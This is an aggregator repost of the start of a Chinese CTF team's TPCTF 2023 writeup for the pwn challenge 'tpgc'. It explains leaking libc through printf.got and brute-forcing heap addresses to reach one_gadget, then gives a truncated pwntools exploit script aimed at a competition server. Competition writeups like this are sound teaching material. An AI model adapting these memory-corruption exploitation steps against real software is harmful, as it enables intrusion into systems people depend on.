看啥推荐读物
专栏名称: 星盟安全
星盟安全工作室---“VENI VIDI VICI”(我来,我见,我征服),我们的征途是星辰大海。从事各类安全研究,专注于知识分享。
目录
相关文章推荐
今天看啥  ›  专栏  ›  星盟安全

国际赛TPCTF 2023 Writeup --Polaris

星盟安全  · 公众号  ·  · 2023-11-29 14:27
本次 TPCTF 2023,我们星盟ctf战队排名第6。PWNtpgcFuzz 出的 PoC 直接可以劫持程序流,根据 PoC 利用 printf.got 泄漏出 libc 地址。由于 PoC 需要间接跳转到我们写入的地址。但是我们只能写堆地址,故爆破堆地址。最终劫持程序流到 one_gadget,成功率1/4096。#!/usr/bin/env python3# -*- coding:utf-8 -*-from pwn import *context.clear(arch='amd64', os='linux', log_level='debug')sh = remote('61.147.171.105', 64575)def take(content):    sh.sendlineafter(b'> ', b'1')    sh.sendlineafter(b'here:\n', content)def drop():    sh.sendlineafter(b'> ', b'2')def take2(content):    sh.sendlineafter(b'> ', b'3')    sh.sendlineafter(b'here:\n', content)def drop2():    sh.sendlineafter(b'> ', b'4')def fuse(content):    sh.sendlineafter(b'> ', b'5')    sh.sendlineafter(b'here:\n', content)def drop3():    sh.sendlineafter(b'> ', b'6')take2(b'a' * 2000)take(p64(0x41D028)[:7])fuse(b'5')drop3()drop2()libc_addr = u64(sh.recvn( ………………………………

原文地址:访问原文地址
快照地址: 访问文章快照